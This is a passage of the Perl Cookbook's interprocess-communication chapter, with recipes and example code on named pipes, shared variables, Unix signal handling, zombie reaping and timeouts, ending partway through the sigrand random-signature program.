Unfortunately, this won't always work, because some finger programs and their attendant daemons check the size of the .plan file before trying to read it. Because named pipes appear as special files of zero size on the filesystem, such clients and servers will not try to open or read from our named pipe, and the trick will fail.

In our .plan example, the writer was a daemon. It's not uncommon for readers to be daemons as well. Take, for instance, the use of a named pipe to centralize logging from many processes. The log server reads log messages from the named pipe and can send them to a database or file. Clients write their messages to the named pipe. This removes the distribution logic from the clients, making changes to message distribution easy to implement.

Example 16.10 is a simple program to read two-line messages where the first line is the name of the service and the second line is the message being logged. All messages from httpd are ignored, while all messages from login are saved to /var/log/login.

Example 16.10: fifolog

#!/usr/bin/perl -w
# fifolog - read and record log msgs from fifo

use IO::File;

$SIG{ALRM} = sub { close(FIFO) };   # move on to the next queued process

while (1) {
    alarm(0);                       # turn off alarm for blocking open
    open(FIFO, "< /tmp/log")        or die "Can't open /tmp/log : $!\n";
    alarm(1);                       # you have 1 second to log

    $service = <FIFO>;
    next unless defined $service;   # interrupted or nothing logged
    chomp $service;

    $message = <FIFO>;
    next unless defined $message;   # interrupted or nothing logged
    chomp $message;

    alarm(0);                       # turn off alarms for message processing

    if ($service eq "http") {
        # ignoring
    } elsif ($service eq "login") {
        # log to /var/log/login
        if ( open(LOG, ">> /tmp/login") ) {
            print LOG scalar(localtime), " $service $message\n";
            close(LOG);
        } else {
            warn "Couldn't log $service $message to /var/log/login : $!\n";
        }
    }
}

This program is more complicated than the .plan program for several reasons. First and foremost, we don't want our logging server to block would-be writers for long. It's easy to imagine a situation where an attacker or misbehaving writer opens the named pipe for writing, but doesn't send a complete message. To prevent this, we use alarm and SIGALRM to signal us if we get stuck reading.

Only two exceptional conditions can happen when using named pipes: a writer can have its reader disappear, or vice versa. If a process is reading from a named pipe and the writer closes its end, the reading process will get an end of file (<> returns undef). If the reader closes the connection, though, the writer will get a SIGPIPE when it next tries to write there. If you disregard broken pipe signals with $SIG{PIPE} = 'IGNORE', your print will return a false value and $! will be set to EPIPE:

use POSIX qw(:errno_h);

$SIG{PIPE} = 'IGNORE';
# ...
$status = print FIFO "Are you there?\n";
if (!$status && $! == EPIPE) {
    warn "My reader has forsaken me!\n";
    next;
}

You may be asking "If I have 100 processes all trying simultaneously to write to this server, how can I be sure that I'll get 100 separate entries and not a jumbled mishmash with characters or lines from different processes?" That's a good question. The POSIX standard says that writes of less than PIPE_BUF bytes in size will be delivered atomically, i.e. not jumbled. You can get the PIPE_BUF constant from POSIX:

use POSIX;
print _POSIX_PIPE_BUF, "\n";

Fortunately, the POSIX standard also requires PIPE_BUF to be at least 512 bytes. This means that all we have to do is ensure that our clients don't try to log more than 512 bytes at a time.

What if you want to log more than 512 bytes at a time? Then you split each large message into several smaller (fewer than 512 bytes) messages, preface each with the unique client identifier (process ID, say) and have the server reassemble them. This is similar to the processing involved in TCP/IP message fragmentation and reassembly.

Because a single named pipe doesn't allow bidirectional access between writer and reader, authentication and similar ways of preventing forged messages are hard to do (if not impossible). Rather than struggle to force such things on top of a model that doesn't accommodate them, you are better off using the filesystem's access control to restrict access to the file through the owner and group permissions on the named pipe.

See Also

mkfifo (8) or mknod (8) (if you have them); Recipe 17.6

Previous: 16.10. Communicating Between Related Processes | Perl Cookbook | Next: 16.12. Sharing Variables in Different Processes
16.10. Communicating Between Related Processes | Book Index | 16.12. Sharing Variables in Different Processes


Recipe 16.12. Sharing Variables in Different Processes

Perl CookbookSearch this book

16.12. Sharing Variables in Different Processes

Problem

You want to share variables across forks or between unrelated processes.

Solution

Use SysV IPC, if your operating system supports it.

Discussion

While SysV IPC (shared memory, semaphores, etc.) isn't as widely used as pipes, named pipes, and sockets for interprocess communication, it still has some interesting properties. Normally, however, you can't expect to use shared memory via shmget or the mmap (2) system call to share a variable among several processes. That's because Perl would reallocate your string when you weren't wanting it to.

The CPAN module IPC::Shareable takes care of that. Using a clever tie module, SysV shared memory, and the Storable module from CPAN allows data structures of arbitrary complexity to be shared among cooperating processes on the same machine. These processes don't even have to be related to each other.

Example 16.11 is a simple demonstration of the module.

Example 16.11: sharetest

#!/usr/bin/perl
# sharetest - test shared variables across forks
use IPC::Shareable;

$handle = tie $buffer, 'IPC::Shareable', undef, { destroy => 1 };
$SIG{INT} = sub { die "$$ dying\n" };

for (1 .. 10) {
    unless ($child = fork) {        # i'm the child
        die "cannot fork: $!" unless defined $child;
        squabble();
        exit;
    }
    push @kids, $child;  # in case we care about their pids
}

while (1) {
    print "Buffer is $buffer\n";
    sleep 1;
}
die "Not reached";

sub squabble {
    my $i = 0;
    while (1) {
        next if $buffer =~ /^$$\b/o;
        $handle->shlock();
        $i++;
        $buffer = "$$ $i";
        $handle->shunlock();
    }
}

The starting process creates the shared variable, forks off 10 children, and then sits back and prints out the value of the buffer every second or so, forever, or until you hit Ctrl-C.

Because the SIGINT handler was set before any forking, it got inherited by the squabbling children as well, so they'll also bite the dust when the process group is interrupted. Keyboard interrupts send signals to the whole process group, not just one process.

What do the kids squabble over? They're bickering over who gets to update that shared variable. Each one looks to see whether someone else was here or not. So long as the buffer starts with their own signature (their PID), they leave it alone. As soon as someone else has changed it, they lock the shared variable using a special method call on the handle returned from the tie, update it, and release the lock.

The program runs much faster by commenting out the line that starts with next where each process is checking that they were the last one to touch the buffer.

The /^$$\b/o may look suspicious, since /o tells Perl to compile the pattern once only, but then went and changed the variable's value by forking. Fortunately, the value isn't locked at program compile time, but only the first time the pattern is itself compiled in each process, during whose own lifetime $$ does not alter.

The IPC::Sharable module also supports sharing variables among unrelated processes on the same machine. See its documentation for details.

See Also

The semctl, semget, semop, shmctl, shmget, shmread, and shmwrite functions in Chapter 3 of Programming Perl and in perlfunc (1); the documentation for the IPC::Shareable module from CPAN

Previous: 16.11. Making a Process Look Like a File with Named Pipes | Perl Cookbook | Next: 16.13. Listing Available Signals
16.11. Making a Process Look Like a File with Named Pipes | Book Index | 16.13. Listing Available Signals


Recipe 16.13. Listing Available Signals

Perl CookbookSearch this book

16.13. Listing Available Signals

Problem

You want to know the signals your operating system provides.

Solution

If your shell has a built-in kill -l command, use it:

% kill -l
HUP INT QUIT ILL TRAP ABRT BUS FPE KILL USR1 SEGV USR2 PIPE
ALRM TERM CHLD CONT STOP TSTP TTIN TTOU URG XCPU XFSZ VTALRM
PROF WINCH POLL PWR

Or using just Perl, print the keys in %SIG if you have release 5.004 or later:

% perl -e 'print join(" ", keys %SIG), "\n"'
XCPU ILL QUIT STOP EMT ABRT BUS USR1 XFSZ TSTP INT IOT USR2 INFO TTOU
ALRM KILL HUP URG PIPE CONT SEGV VTALRM PROF TRAP IO TERM WINCH CHLD
FPE TTIN SYS

Before version 5.004, you had to use the Config module:

% perl -MConfig -e 'print $Config{sig_name}'
ZERO HUP INT QUIT ILL TRAP ABRT EMT FPE KILL BUS SEGV SYS PIPE ALRM
TERM URG STOP TSTP CONT CHLD TTIN TTOU IO XCPU XFSZ VTALRM PROF WINCH
INFO USR1 USR2 IOT

Discussion

If your version of Perl is before 5.004, you have to use signame and signo in Config to find the list of available signals, since keys %SIG wasn't implemented then.

The following code retrieves by name and number the available signals from Perl's standard Config.pm module. Use @signame indexed by number to get the signal name, and %signo indexed by name to get the signal number.

use Config;
defined $Config{sig_name} or die "No sigs?";
$i = 0;                     # Config prepends fake 0 signal called "ZERO".
foreach $name (split(' ', $Config{sig_name})) {
    $signo{$name} = $i;
    $signame[$i] = $name;
    $i++;
}

See Also

The documentation for the standard Config module, also in Chapter 7 of Programming Perl; the "Signals" sections in Chapter 6 of Programming Perl and in perlipc (1)

Previous: 16.12. Sharing Variables in Different Processes | Perl Cookbook | Next: 16.14. Sending a Signal
16.12. Sharing Variables in Different Processes | Book Index | 16.14. Sending a Signal


Recipe 16.14. Sending a Signal

Perl CookbookSearch this book

16.14. Sending a Signal

Problem

You want to send a signal to a process. This could be sent to your own process or to another on the same system. For instance, you caught SIGINT and want to pass it on to your children.

Solution

Use kill to send a signal by name or number to the process IDs listed in the remaining arguments:

kill  9     => $pid;                    # send $pid a signal 9
kill -1     => $pgrp;                   # send whole job a signal 1
kill  USR1  => $$;                      # send myself a SIGUSR1
kill  HUP   => @pids;                   # send a SIGHUP to processes in @pids

Discussion

Perl's kill function is an interface to the system call of the same name. The first argument is the signal to send, identified by number or by name; subsequent arguments are process IDs to send the signal to. It returns the count of processes successfully signaled. You can only send signals to processes running under the same real or saved UID as your real or effective UID - unless you're the superuser.

If the signal number is negative, Perl interprets remaining arguments as process group IDs and sends that signal to all those groups' processes using the killpg (2) system call.

A process group is essentially a job. It's how the operating system ties related processes together. For example, when you use your shell to pipe one command into another, you've started two processes, but only one job. When you use Ctrl-C to interrupt the current job, or Ctrl-Z to suspend it, this sends the appropriate signals to the entire job, which may be more than one process.

kill can also check whether a process is alive. Sending the special pseudo-signal number 0 checks whether it's legal for you to send a signal to the process - without actually sending one. If it returns true, the process is still alive. If it returns false, the process has either changed its effective UID (in which case $! will be set to EPERM) or no longer exists (and $! is ESRCH). Zombie processes (as described in Recipe 16.19) also report back as ESRCH.

use POSIX qw(:errno_h);

if (kill 0 => $minion) {
    print "$minion is alive!\n";
} elsif ($! == EPERM) {             # changed uid
    print "$minion has escaped my control!\n";
} elsif ($! == ESRCH) {
    print "$minion is deceased.\n";  # or zombied
} else {
    warn "Odd; I couldn't check on the status of $minion: $!\n";
}

See Also

The "Signals" sections in Chapter 6 of Programming Perl and in perlipc (1); your system's sigaction (2), signal (3), and kill (2) manpages (if you have them); the kill function in Chapter 3 of Programming Perl and perlfunc (1)

Previous: 16.13. Listing Available Signals | Perl Cookbook | Next: 16.15. Installing a Signal Handler
16.13. Listing Available Signals | Book Index | 16.15. Installing a Signal Handler


Recipe 16.15. Installing a Signal Handler

Perl CookbookSearch this book

16.15. Installing a Signal Handler

Problem

You want to control how your program responds to signals. You need to do this if you want to catch Ctrl-C, avoid accumulating finished subprocesses, or prevent your process from dying when it writes to a child that has gone away.

Solution

Use the %SIG hash to install your own handler by name or by code reference:

$SIG{QUIT} = \&got_sig_quit;     # call &got_sig_quit for every SIGQUIT
$SIG{PIPE} = 'got_sig_pipe';     # call main::got_sig_pipe for every SIGPIPE
$SIG{INT}  = sub { $ouch++ };    # increment $ouch for every SIGINT

%SIG also lets you ignore a signal:

$SIG{INT} = 'IGNORE';            # ignore the signal INT

It also restores handling for that signal to the default:

$SIG{STOP} = 'DEFAULT';          # restore default STOP signal handling

Discussion

Perl uses the %SIG hash to control what happens when signals are received. Each key in %SIG corresponds to a signal. Each value is the action to take when Perl receives the corresponding signal. Perl provides two special behaviors: "IGNORE" to take no action when a particular signal is received, and "DEFAULT" to perform the default Unix action for that signal.

Although a C programmer might think of a signal as SIGINT, Perl uses just INT. Perl figures you only use signal names in functions that deal with signals, so the SIG prefix is redundant. This means that you'll assign to $SIG{CHLD} to change what your process does when it gets a SIGCHLD.

If you want to run your own code when a given signal is received, you have two choices of what to put in the hash: either a code reference or a subroutine name. (This means you can't name a signal handler IGNORE or DEFAULT if you store the string, but they'd be mighty strange names for signal handlers anyway.) If you use a subroutine name that isn't qualified by a package, Perl will interpret this name to be a function in the main:: package, not one in the package in which the handler was installed. A code reference refers to a subroutine in a particular package, so it is a better choice.

Perl calls your handler code with a single argument: the name of the signal that triggered it, like "INT" or "USR1". Returning from a signal handler takes you back to whatever you were doing when the signal hit.

Perl defines two special signals, __DIE__ and __WARN__, whose handlers are called whenever a Perl program emits warnings through warn or dies through die. This lets you catch such warnings, and selectively trap or propagate them. The die and warn handlers are disabled while they run, so you can safely die from a __DIE__ handler or warn from a __WARN__ handler without fear of recursion.

See Also

The "Signals" sections in Chapter 6 of Programming Perl and in perlipc (1); your system's sigaction (2), signal (3), and kill (2) manpages (if you have them)

Previous: 16.14. Sending a Signal | Perl Cookbook | Next: 16.16. Temporarily Overriding a Signal Handler
16.14. Sending a Signal | Book Index | 16.16. Temporarily Overriding a Signal Handler


Recipe 16.16. Temporarily Overriding a Signal Handler

Perl CookbookSearch this book

16.16. Temporarily Overriding a Signal Handler

Problem

You want to install a signal handler only for a particular subroutine. For instance, your subroutine catches SIGINT, and you don't want to disturb SIGINT handling outside the subroutine.

Solution

Use local to temporarily override a signal's behavior:

# the signal handler
sub ding {
    $SIG{INT} = \&ding;
    warn "\aEnter your name!\n";
}

# prompt for name, overriding SIGINT
sub get_name {
    local $SIG{INT} = \&ding;
    my $name;

    print "Kindly Stranger, please enter your name: ";
    chomp( $name = <> );
    return $name;
}

Discussion

You must use local rather than my to save away one value out of %SIG. The change remains in effect throughout the execution of that block, including in anything called from it. In this case, that's the get_name subroutine. If the signal is delivered while another function that your function calls is running, your signal handler is triggered - unless the called subroutine installs its own signal handler. The previous value of the hash is automatically restored when the block exits. This is one of the (few) places where dynamic scoping is more convenient than confusing.

See Also

Recipe 10.13; Recipe 16.15; Recipe 16.18

Previous: 16.15. Installing a Signal Handler | Perl Cookbook | Next: 16.17. Writing a Signal Handler
16.15. Installing a Signal Handler | Book Index | 16.17. Writing a Signal Handler


Recipe 16.17. Writing a Signal Handler

Perl CookbookSearch this book

16.17. Writing a Signal Handler

Problem

You want to write a subroutine that will be called whenever your program receives a signal.

Solution

A signal handler is just a subroutine. With some risk, you can do anything in a signal handler you'd do in any Perl subroutine, but the more you do, the riskier it gets.

Some systems require you to reinstall your signal handler after each signal:

$SIG{INT} = \&got_int;
sub got_int {
    $SIG{INT} = \&got_int;          # but not for SIGCHLD!
    # ...
}

Some systems restart blocking operations, such as reading data. In such cases, you must call die within the handler and trap it with eval:

my $interrupted = 0;

sub got_int {
    $interrupted = 1;
    $SIG{INT} = 'DEFAULT';          # or 'IGNORE'
    die;
}

eval {
    $SIG{INT} = \&got_int;
    # ... long-running code that you don't want to restart
};

if ($interrupted) {
    # deal with the signal
}

Discussion

Installing a custom signal handling subroutine is a lot like playing with fire. It may seem like a lot of fun, but, sooner or later, you're going to get burned unless you're exceedingly careful. By installing Perl code to deal with signals, you're exposing yourself to two dangers. First, few system library functions are re-entrant. If the signal interrupts while Perl is executing one function (like malloc (3) or printf (3)), and your signal handler then calls the same function again, you could get unpredictable behavior - often, a core dump. Second, Perl isn't itself re-entrant at the lowest levels. (Release 5.005 of Perl supports lightweight processes called threads.) If the signal interrupts Perl while Perl is changing its own internal data structures, unpredictable behavior may result - usually random core dumps.

You have two options: be paranoid or be pragmatic. The paranoid approach is to do as little as possible in your signal handler, as exemplified by the eval and die code in the Solution - set a variable that already has a value, and then bail. Even this is cavalier for the true paranoiac, who avoids die in a handler because the system is out to get you. The pragmatic approach is to say "I know the risks, but prefer the convenience," and to do anything you want in your signal handler.

Signals have been implemented in many different operating systems, often in slightly different flavors. The two situations where signal implementations vary the most are when a signal occurs when its signal handler is active (reliability), and when a signal interrupts a blocking system call like read or accept (restarting).

The initial implementation of signals was unreliable, meaning that while a handler was running, further occurrences of the same signal would cause the default action, likely aborting the program. Later systems addressed this (each in their own subtly different way, of course) by providing a way to block the delivery of further signals of that number until the handler has finished. If Perl detects that your system can use reliable signals, it generates the proper system calls to achieve this saner, safer behavior. You can use POSIX signals to block signal delivery at other times, as described in Recipe 16.20.

For truly portable code, the paranoid programmer will assume the worst case (unreliable signals) and reinstall the signal handler manually, usually as the first statement in a function:

$SIG{INT} = \&catcher;
sub catcher {
    $SIG{INT} = \&catcher;
    # ...
}

In the special case of catching SIGCHLD, see Recipe 16.19. System V has bizarre behavior that can trip you up.

Use the Config module to find out whether you have reliable signals:

use Config;
print "Hurrah!\n" if $Config{d_sigaction};

Just because you have reliable signals doesn't mean you automatically get reliable programs. But without them, you certainly won't.

The first implementation of signals interrupted slow system calls, functions that require the cooperation of other processes or device drivers. If a signal comes in while those system calls are still running, they (and their Perl counterparts) return an error value and set the error to EINTR, "Interrupted system call". Checking for this condition made programs so complicated that most didn't check, and therefore misbehaved or died if a signal interrupted a slow system call. Most modern versions of Unix allow you to change this behavior. Perl will always make system calls restartable if it is on a system that support it. If you have a POSIX system, you can control restarting using the POSIX module (see Recipe 16.20).

To determine whether your interrupted system calls will automatically restart, look at your system's C signal.h include file:

% egrep 'S[AV]_(RESTART|INTERRUPT)' /usr/include/*/signal.h

Two signals are untrappable and unignorable: SIGKILL and SIGSTOP. Full details of the signals available on your system and what they mean can be found in the signal (3) manpage.

See Also

The "Signals" sections in Chapter 6 of Programming Perl and in perlipc (1); your system's sigaction (2), signal (3), and kill (2) manpages (if you have them). Porting UNIX Software, by Greg Lehey, O'Reilly & Associates, (1995); Advanced Programming in the Unix Environment

Previous: 16.16. Temporarily Overriding a Signal Handler | Perl Cookbook | Next: 16.18. Catching Ctrl-C
16.16. Temporarily Overriding a Signal Handler | Book Index | 16.18. Catching Ctrl-C


Recipe 16.18. Catching Ctrl-C

Perl CookbookSearch this book

16.18. Catching Ctrl-C

Problem

You want to intercept Ctrl-C, which would otherwise kill your whole program. You'd like to ignore it or run your own function when the signal is received.

Solution

Set a handler for SIGINT. Set it to "IGNORE" to make Ctrl-C have no effect:

$SIG{INT} = 'IGNORE';

Or, set it to a subroutine of your own devising to respond to Ctrl-C:

$SIG{INT} = \&tsktsk;

sub tsktsk {
    $SIG{INT} = \&tsktsk;           # See ``Writing A Signal Handler''
    warn "\aThe long habit of living indisposeth us for dying.\n";
}

Discussion

Ctrl-C isn't directly affecting your program. The terminal driver processing your keystrokes recognizes the Ctrl-C combination (or whatever you've set your terminal to recognize as the interrupt character), and sends a SIGINT to every process in the foreground process group (foreground job) for that terminal. The foreground job normally comprises all programs started from the shell on a single command line, plus any other programs run by those programs. See the section on ""Signals" in the Introduction to this chapter for details.

The interrupt character isn't the only special character interpreted by your terminal driver. Type stty -a to find out your current settings:

% stty -a
speed 9600 baud; 38 rows; 80 columns;
lflags: icanon isig iexten echo echoe -echok echoke -echonl echoctl
       -echoprt -altwerase -noflsh -tostop -flusho pendin -nokerninfo
       -extproc
iflags: -istrip icrnl -inlcr -igncr ixon -ixoff ixany imaxbel -ignbrk
        brkint -inpck -ignpar -parmrk
oflags: opost onlcr oxtabs
cflags: cread cs8 -parenb -parodd hupcl -clocal -cstopb -crtscts -dsrflow
        -dtrflow -mdmbuf
cchars: discard = ^O; dsusp = ^Y; eof = ^D; eol = <undef;>
        eol2 = <undef; erase = ^H; intr = ^C; kill = ^U; lnext = ^V;>
        min = 1; quit = ^\; reprint = ^R; start = ^Q; status = <undef;>
        stop = ^S; susp = ^Z; time = 0; werase = ^W;

The last section, cchars:, is the list of special characters. Recipe 15.8 shows you how to change these from your script without calling the stty program.

See Also

Your system's stty (1) manpage (if you have one); Recipe 15.8; Recipe 16.17

Previous: 16.17. Writing a Signal Handler | Perl Cookbook | Next: 16.19. Avoiding Zombie Processes
16.17. Writing a Signal Handler | Book Index | 16.19. Avoiding Zombie Processes


Recipe 16.19. Avoiding Zombie Processes

Perl CookbookSearch this book

16.19. Avoiding Zombie Processes

Problem

Your program forks children, but the dead children accumulate, fill up your process table, and aggravate your system administrator.

Solution

If you don't need to record the children that have terminated, use:

$SIG{CHLD} = 'IGNORE';

To keep better track of deceased children, install a SIGCHLD handler to call waitpid:

use POSIX ":sys_wait_h";

$SIG{CHLD} = \&REAPER;
sub REAPER {
    my $stiff;
    while (($stiff = waitpid(-1, &WNOHANG)) > 0) {
        # do something with $stiff if you want
    }
    $SIG{CHLD} = \&REAPER;                  # install *after* calling waitpid
}

Discussion

When a process exits, the system keeps it in the process table so the parent can check its status - whether it terminated normally or abnormally. Fetching a child's status (thereby freeing it to drop from the system altogether) is rather grimly called reaping dead children. (This entire recipe is full of ways to harvest your dead children. If this makes you queasy, we understand.) It involves a call to wait or waitpid . Some Perl functions (piped opens, system , and backticks) will automatically reap the children they make, but you must explicitly wait when you use fork to manually start another process.

To avoid accumulating dead children, simply tell the system that you're not interested in them by setting $SIG{CHLD} to "IGNORE". If you want to know which children die and when, you'll need to use waitpid.

The waitpid function reaps a single process. Its first argument is the process to wait for - use -1 to mean any process - and its second argument is a set of flags. We use the WNOHANG flag to make waitpid immediately return 0 if there are no dead children. A flag value of 0 is supported everywhere, indicating a blocking wait. Call waitpid from a SIGCHLD handler, as we do in the Solution, to reap the children as soon as they die.

The wait function also reaps children, but it does not have a non-blocking option. If you inadvertently call it when there are running child processes but none have exited, your program will pause until there is a dead child.

Because the kernel keeps track of undelivered signals using a bit vector, one bit per signal, if two children die before your process is scheduled, you will get only a single SIGCHLD. You must always loop when you reap in a SIGCHLD handler, and so you can't use wait.

Both wait and waitpid return the process ID that they just reaped and set $? to the wait status of the defunct process. This status is actually two 8-bit values in one 16-bit number. The high byte is the exit value of the process. The low 7 bits represent the number of the signal that killed the process, with the 8th bit indicating whether a core dump occurred. Here's one way to isolate those values:

$exit_value  = $? >> 8;
$signal_num  = $? & 127;
$dumped_core = $? & 128;

The standard POSIX module has macros to interrogate status values: WIFEXITED, WEXITSTATUS, WIFSIGNALLED, and WTERMSIG. Oddly enough, POSIX doesn't have a macro to test whether the process core dumped.

Beware of two things when using SIGCHLD. First, the system doesn't just send a SIGCHLD when a child exits; it also sends one when the child stops. A process can stop for many reasons - waiting to be foregrounded so it can do terminal I/O, being sent a SIGSTOP (it will wait for the SIGCONT before continuing), or being suspended from its terminal. You need to check the status with the WIFEXITED[1] function from the POSIX module to make sure you're dealing with a process that really died, and isn't just suspended.

[1] Not SPOUSEXITED, even on a PC.

use POSIX qw(:signal_h :errno_h :sys_wait_h);

$SIG{CHLD} = \&REAPER;
sub REAPER {
    my $pid;

    $pid = waitpid(-1, &WNOHANG);

    if ($pid == -1) {
        # no child waiting.  Ignore it.
    } elsif (WIFEXITED($?)) {
        print "Process $pid exited.\n";
    } else {
        print "False alarm on $pid.\n";
    }
    $SIG{CHLD} = \&REAPER;          # in case of unreliable signals
}

The second trap with SIGCHLD is related to Perl, not the operating system. Because system , open, and backticks all fork subprocesses and the operating system sends your process a SIGCHLD whenever any of its subprocesses exit, you could get called for something you weren't expecting. The built-in operations all wait for the child themselves, so sometimes the SIGCHLD will arrive before the close on the filehandle blocks to reap it. If the signal handler gets to it first, the zombie won't be there for the normal close. This makes close return false and set $! to "No child processes". Then, if the close gets to the dead child first, waitpid will return 0.

Most systems support a non-blocking waitpid . Use Perl's standard Config.pm module to find out:

use Config;
$has_nonblocking = $Config{d_waitpid} eq "define" ||
                   $Config{d_wait4}   eq "define";

System V defines SIGCLD, which has the same signal number as SIGCHLD but subtly different semantics. Use SIGCHLD to avoid confusion.

See Also

The "Signals" sections in Chapter 6 of Programming Perl and in perlipc (1); the wait and waitpid functions in Chapter 3 of Programming Perl and in perlfunc (1); the documentation for the standard POSIX module, in Chapter 7 of Programming Perl; your system's sigaction (2), signal (3), and kill (2) manpages (if you have them); Recipe 16.17

Previous: 16.18. Catching Ctrl-C | Perl Cookbook | Next: 16.20. Blocking Signals
16.18. Catching Ctrl-C | Book Index | 16.20. Blocking Signals


Recipe 16.20. Blocking Signals

Perl CookbookSearch this book

16.20. Blocking Signals

Problem

You'd like to delay the reception of a signal, possibly to prevent unpredictable behavior from signals that can interrupt your program at any point.

Solution

Use the POSIX module's interface to the sigprocmask system call. This is only available if your system is POSIX conformant.

To block a signal around an operation:

use POSIX qw(:signal_h);

$sigset = POSIX::SigSet->new(SIGINT);    # define the signals to block
$old_sigset = POSIX::SigSet->new;        # where the old sigmask will be kept

unless (defined sigprocmask(SIG_BLOCK, $sigset, $old_sigset)) {
    die "Could not block SIGINT\n";
}

To unblock:

unless (defined sigprocmask(SIG_UNBLOCK, $old_sigset)) {
    die "Could not unblock SIGINT\n";
}

Discussion

The POSIX standard introduced sigaction and sigprocmask to give you better control over how signals are delivered. The sigprocmask function controls delayed delivery of signals and sigaction installs handlers. If available, Perl uses sigaction when you change %SIG.

To use sigprocmask, first build a signal set using POSIX::SigSet->new. This takes a list of signal numbers. The POSIX module exports functions named after the signals, which return their signal numbers.

use POSIX qw(:signal_h);

$sigset = POSIX::SigSet->new( SIGINT, SIGKILL );

Pass the POSIX::SigSet object to sigprocmask with the SIG_BLOCK flag to delay signal delivery, SIG_UNBLOCK to restore delivery of the signals, or SIG_SETMASK to block only signals in the POSIX::SigSet. The most paranoid of programmers block signals for a fork to prevent a signal handler in the child process being called before Perl can update the child's $$ variable, its process id. If the signal handler were called immediately and reported $$ in that handler, it could possibly report its parent's $$, not its own. This issue does not arise often.

See Also

Your system's sigprocmask (2) manpage (if you have one); the documentation for the standard POSIX module in Chapter 7 of Programming Perl

Previous: 16.19. Avoiding Zombie Processes | Perl Cookbook | Next: 16.21. Timing Out an Operation
16.19. Avoiding Zombie Processes | Book Index | 16.21. Timing Out an Operation


Recipe 16.21. Timing Out an Operation

Perl CookbookSearch this book

16.21. Timing Out an Operation

Problem

You want to make sure an operation doesn't take more than a certain amount of time. For instance, you're running filesystem backups and want to abort if it takes longer than an hour. Or, you want to schedule an event for the next hour.

Solution

To interrupt a long-running operation, set a SIGALRM handler to call die. Set an alarm with alarm, then eval your code:

$SIG{ALRM} = sub { die "timeout" };

eval {
    alarm(3600);
    # long-time operations here
    alarm(0);
};

if ($@) {
    if ($@ =~ /timeout/) {
                            # timed out; do what you will here
    } else {
        alarm(0);           # clear the still-pending alarm
        die;                # propagate unexpected exception
    }
}

Discussion

The alarm function takes one argument: the integer number of seconds before your process receives a SIGALRM. It may be delivered after that time in busy time-sharing systems. The default action for SIGALRM is to terminate your program, so you should install your own signal handler.

You cannot (usefully) give the alarm function a fractional number of seconds; if you try, it will be truncated to an integer. For precise timers, see Recipe 3.9.

See Also

The "Signals" sections in Chapter 6 of Programming Perl and in perlipc (1); the alarm function in Chapter 3 of Programming Perl and in perlfunc (1); Recipe 3.9

Previous: 16.20. Blocking Signals | Perl Cookbook | Next: 16.22. Program: sigrand
16.20. Blocking Signals | Book Index | 16.22. Program: sigrand


Recipe 16.22. Program: sigrand

Perl CookbookSearch this book

16.22. Program: sigrand

Description

The following program gives you random signatures by using named pipes. It expects the signatures file to have records in the format of the fortune program - that is, each possible multiline record is terminated with "%%\n". Here's an example:

Make is like Pascal: everybody likes it, so they go in and change it.
                                            --Dennis Ritchie
%%
I eschew embedded capital letters in names; to my prose-oriented eyes,
they are too awkward to read comfortably. They jangle like bad typography.
                                            --Rob Pike
%%
God made the integers; all else is the work of Man.
                                            --Kronecker
%%
I'd rather have :rofix than const.          --Dennis Ritchie
%%
If you want to program in C, program in C.  It's a nice language.
I use it occasionally...   :-)              --Larry Wall
%%
Twisted cleverness is my only skill as a programmer.
                                            --Elizabeth Zwicky
%%
Basically, avoid comments. If your code needs a comment to be understood,
it would be better to rewrite it so it's easier to understand.
                                            --Rob Pike
%%
Comments on data are usually much more helpful than on algorithms.
                                            --Rob Pike
%%
Programs that write programs are the happiest programs in the world.
                                            --Andrew Hume
%%

We check whether we're already running by using a file with our PID in it. If sending a signal number 0 indicates that PID still exists (or, rarely, that something else has reused it), we just exit. We also look at the current Usenet posting to decide whether to look for a per-newsgroup signature file. That way, you can have different signatures for each newsgroup you post to. For variety, a global signature file is still on occasion used even if a per-newsgroup file exists.

You can even use sigrand on systems without named pipes if you remove the code to create a named pipe and extend the sleep interval before file updates. Then .signature would just be a regular file. Another portability concern is that the program forks itself in the background, which is almost like becoming a daemon. If you have no fork call, just comment it out.

The full program is shown in Example 16.12.

Example 16.12: sigrand

#!/usr/bin/perl -w
# sigrand - supply random fortunes for .signature file

use strict;

# config section variables
use vars qw( $NG_IS_DIR $MKNOD $FULLNAME $FIFO $ART $NEWS $SIGS $SEMA
            $GLOBRAND $NAME );

# globals
use vars qw( $Home $Fortune_Path @Pwd );

################################################################
# begin configuration section
# should really read from ~/.sigrandrc

gethome();

# for rec/humor/funny instead of rec.humor.funny
$NG_IS_DIR      = 1;

$MKNOD          = "/bin/mknod";
$FULLNAME       = "$Home/.fullname";
$FIFO           = "$Home/.signature";
$ART            = "$Home/.article";
$NEWS           = "$Home/News";
$SIGS           = "$NEWS/SIGNATURES";
$SEMA           = "$Home/.sigrandpid";
$GLOBRAND       = 1/4;  # chance to use global sigs anyway

# $NAME should be (1) left undef to have program guess
# read address for signature maybe looking in ~/.fullname,
# (2) set to an exact address, or (3) set to empty string
# to be omitted entirely.

$NAME           = '';           # means no name used
## $NAME        = "me\@home.org\n";

# end configuration section -- HOME and FORTUNE get autoconf'd
################################################################

setup();                # pull in inits
justme();               # make sure program not already running
fork && exit;           # background ourself and go away

open (SEMA, "> $SEMA")      or die "can't write $SEMA: $!";
print SEMA "$$\n";
close(SEMA)                    or die "can't close $SEMA: $!";

# now loop forever, writing a signature into the
# fifo file.  if you don't have real fifos, change
# sleep time at bottom of loop to like 10 to update
# only every 10 seconds.
for (;;) {
    open (FIFO, "> $FIFO")  or die "can't write $FIFO: $!";
    my $sig = pick_quote();
    for ($sig) {
        s/^((:?[^\n]*\n){4}).*$/$1/s;   # trunc to 4 lines
        s/^(.{1,80}).*? *$/$1/gm;       # trunc long lines
    }
    # print sig, with name if present, padded to four lines
    if ($NAME) {
        print FIFO $NAME, "\n" x (3 - ($sig =~ tr/\n//)), $sig;
    } else {
        print FIFO $sig;
    }
    close FIFO;

    # Without a microsleep, the reading process doesn't finish before
    # the writer tries to open it again, which since the reader exists,
    # succeeds.  They end up with multiple signatures.  Sleep a tiny bit
    # between opens to give readers a chance to finish reading and close
    # our pipe so we can block when opening it the next time.

    select(undef, undef, undef, 0.2);   # sleep 1/5 second
}
die "XXX: NOT REACHED";         # you can't get here from anywhere

################################################################

# Ignore SIGPIPE in case someone opens us up and then closes the fifo
# without reading it; look in a .fullname file for their login name.
# Try to determine the fully qualified hostname.  Look our for silly
# ampersands in passwd entries.  Make sure we have signatures or fortunes.
# Build a fifo if we need to.

sub setup {
    $SIG{PIPE} = 'IGNORE';

    unless (defined $NAME) {            # if $NAME undef in config
        if (-e $FULLNAME) {
